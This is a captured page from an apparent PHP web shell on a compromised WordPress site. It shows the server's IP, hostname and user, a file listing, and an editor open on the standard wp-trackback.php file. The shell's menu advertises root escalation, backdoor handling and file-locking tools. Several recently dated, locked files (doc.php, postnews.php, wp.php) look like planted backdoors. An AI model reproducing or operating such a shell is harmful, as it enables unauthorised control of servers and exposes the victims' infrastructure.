Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
atelier-fitness.com /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-10-28 12:39
assets
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
wp-admin
[ DIR ]
drwxr-xr-x
2025-10-30 03:31
wp-content
[ DIR ]
drwxr-xr-x
2025-10-30 03:31
wp-includes
[ DIR ]
drwxr-xr-x
2025-10-28 12:39
.ftpquota
15
B
-rw-------
2025-10-25 18:07
.htaccess
2
KB
-r--r--r--
2025-10-30 03:31
.htaccess1
235
B
-rw-r--r--
2017-01-14 20:30
.wp-config.php.swp
12
KB
-rw-r--r--
2017-05-10 14:17
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:39
error_log
85
KB
-rw-r--r--
2021-04-03 14:03
index.html_back
179
B
-rw-r--r--
2017-01-14 16:29
index.php
418
B
-rw-r--r--
2015-09-03 03:33
index.php_maintance
1.09
KB
-rw-r--r--
2017-05-10 17:49
license.txt
19.46
KB
-rw-r--r--
2018-04-04 02:40
php.ini1
92
B
-rw-r--r--
2015-10-06 13:47
php5.ini
46
B
-rw-r--r--
2015-10-05 16:21
postnews.php
5.74
KB
-r--r--r--
2025-10-30 03:31
readme.html
7.17
KB
-rw-r--r--
2017-11-29 20:51
wp-activate.php
6.22
KB
-rw-r--r--
2018-12-13 04:32
wp-blog-header.php
271
B
-rw-r--r--
2015-09-03 03:33
wp-comments-post.php
5.01
KB
-rw-r--r--
2019-03-13 03:42
wp-config-sample.php
2.7
KB
-rw-r--r--
2015-09-03 03:33
wp-config.php
3.03
KB
-rw-r--r--
2021-01-16 04:12
wp-cron.php
3.21
KB
-rw-r--r--
2015-09-03 03:33
wp-links-opml.php
2.32
KB
-rw-r--r--
2015-09-03 03:33
wp-load.php
3.05
KB
-rw-r--r--
2015-09-03 03:33
wp-login.php
33.88
KB
-rw-r--r--
2018-12-13 04:32
wp-mail.php
8.26
KB
-rw-r--r--
2017-01-12 03:28
wp-settings.php
10.8
KB
-rw-r--r--
2015-09-03 03:33
wp-signup.php
24.54
KB
-rw-r--r--
2015-09-03 03:33
wp-trackback.php
3.94
KB
-rw-r--r--
2015-09-03 03:33
wp.php
18
B
-rw-r--r--
2025-10-28 12:36
xmlrpc.php
2.98
KB
-rw-r--r--
2015-09-03 03:33
Save
Rename
<?php /** * Handle Trackbacks and Pingbacks Sent to WordPress * * @since 0.71 * * @package WordPress * @subpackage Trackbacks */ if (empty($wp)) { require_once( dirname( __FILE__ ) . '/wp-load.php' ); wp( array( 'tb' => '1' ) ); } /** * Response to a trackback. * * Responds with an error or success XML message. * * @since 0.71 * * @param mixed $error Whether there was an error. * Default '0'. Accepts '0' or '1', true or false. * @param string $error_message Error message if an error occurred. */ function trackback_response($error = 0, $error_message = '') { header('Content-Type: text/xml; charset=' . get_option('blog_charset') ); if ($error) { echo '<?xml version="1.0" encoding="utf-8"?'.">\n"; echo "<response>\n"; echo "<error>1</error>\n"; echo "<message>$error_message</message>\n"; echo "</response>"; die(); } else { echo '<?xml version="1.0" encoding="utf-8"?'.">\n"; echo "<response>\n"; echo "<error>0</error>\n"; echo "</response>"; } } // Trackback is done by a POST. $request_array = 'HTTP_POST_VARS'; if ( !isset($_GET['tb_id']) || !$_GET['tb_id'] ) { $tb_id = explode('/', $_SERVER['REQUEST_URI']); $tb_id = intval( $tb_id[ count($tb_id) - 1 ] ); } $tb_url = isset($_POST['url']) ? $_POST['url'] : ''; $charset = isset($_POST['charset']) ? $_POST['charset'] : ''; // These three are stripslashed here so they can be properly escaped after mb_convert_encoding(). $title = isset($_POST['title']) ? wp_unslash($_POST['title']) : ''; $excerpt = isset($_POST['excerpt']) ? wp_unslash($_POST['excerpt']) : ''; $blog_name = isset($_POST['blog_name']) ? wp_unslash($_POST['blog_name']) : ''; if ($charset) $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) ); else $charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS'; // No valid uses for UTF-7. if ( false !== strpos($charset, 'UTF-7') ) die; // For international trackbacks. if ( function_exists('mb_convert_encoding') ) { $title = mb_convert_encoding($title, get_option('blog_charset'), $charset); $excerpt = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset); $blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset); } // Now that mb_convert_encoding() has been given a swing, we need to escape these three. $title = wp_slash($title); $excerpt = wp_slash($excerpt); $blog_name = wp_slash($blog_name); if ( is_single() || is_page() ) $tb_id = $posts[0]->ID; if ( !isset($tb_id) || !intval( $tb_id ) ) trackback_response(1, 'I really need an ID for this to work.'); if (empty($title) && empty($tb_url) && empty($blog_name)) { // If it doesn't look like a trackback at all. wp_redirect(get_permalink($tb_id)); exit; } if ( !empty($tb_url) && !empty($title) ) { header('Content-Type: text/xml; charset=' . get_option('blog_charset') ); if ( !pings_open($tb_id) ) trackback_response(1, 'Sorry, trackbacks are closed for this item.'); $title = wp_html_excerpt( $title, 250, '…' ); $excerpt = wp_html_excerpt( $excerpt, 252, '…' ); $comment_post_ID = (int) $tb_id; $comment_author = $blog_name; $comment_author_email = ''; $comment_author_url = $tb_url; $comment_content = "<strong>$title</strong>\n\n$excerpt"; $comment_type = 'trackback'; $dupe = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url) ); if ( $dupe ) trackback_response(1, 'We already have a ping from that URL for this post.'); $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type'); wp_new_comment($commentdata); $trackback_id = $wpdb->insert_id; /** * Fires after a trackback is added to a post. * * @since 1.2.0 * * @param int $trackback_id Trackback ID. */ do_action( 'trackback_post', $trackback_id ); trackback_response( 0 ); }